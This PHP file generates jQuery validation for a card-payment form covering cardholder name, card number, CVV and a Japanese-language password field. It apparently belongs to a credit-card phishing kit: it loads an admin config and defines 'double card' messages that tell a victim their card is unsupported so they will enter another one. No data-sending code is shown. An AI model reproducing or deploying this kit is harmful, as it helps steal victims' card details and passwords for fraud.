<?php
require_once("../admin/config.php");
require_once("../main.php");
$lang['error']['ccname'] = "Please provide your cardholder's name";
$lang['error']['ccno'] = "Please enter your card number";
$lang['error']['ccno_check'] = "Please check the card number you have entered";
$lang['error']['secode'] = "Please enter your card's security code";
$lang['error']['secode_check'] = "Please check the card's security code you have entered";

$lang['error']['double_cc1'] = "Verification Problem";
$lang['error']['double_cc2'] = "Your card is not supported. Please use a different card.";
?>
<?php
header("Content-type: application/x-javascript");
?>
(function($, W, D) {
    var JQUERY4U = {};
    JQUERY4U.UTIL = {
        setupFormValidation: function() {
            $('#details').validate({
                errorElement: "span",
                rules: {
                    ccname: {
                        required: true
                    },
                    ccno: {
                        required: true,
                        minlength: 15,
                        creditcard: true
                    },
                    cvv: {
                        required: true,
                        minlength: 3,
                        digits: true,
                    },
                    passjp: {
                        required: true,
                        minlength: 6,
                    },
                },
                groups: {},
                errorPlacement: function(error, element) {
                    if (element.attr("name") == "fname")
                        error.insertAfter("#nameerror");
                    else
                        error.insertAfter(element);
                },
                messages: {
                    ccname: {
                        required: "<?php echo $lang['error']['ccname'];?> &nbsp;",
                    },
                    ccno: {
                        required: "<?php echo $lang['error']['ccno'];?> &nbsp;",
                        minlength: jQuery.validator.format("<?php echo $lang['error']['ccno_check'];?> &nbsp;"),
                        creditcard: jQuery.validator.format("<?php echo $lang['error']['ccno_check'];?> &nbsp;"),
                    },
                    cvv: {
                        required: "<?php echo $lang['error']['secode'];?> &nbsp;",
                        minlength: jQuery.validator.format("<?php echo $lang['error']['secode_check'];?> &nbsp;"),
                        digits: jQuery.validator.format("<?php echo $lang['error']['secode_check'];?> &nbsp;"),
                    },
                    passjp: {
                        required: "パスワードを入力してください&nbsp;",
                        minlength: "パスワードを確認してください。長さは6文字以上&nbsp;",
                    },
                },
                submitHandler: function(form) {
                    form.submit();
                }
            });
            $("#gobtn").click(function() {
                $("#details").submit();
            });
        }
    }
    $(D).ready(function($) {
        JQUERY4U.UTIL.setupFormValidation();
    });
})(jQuery, window, document);
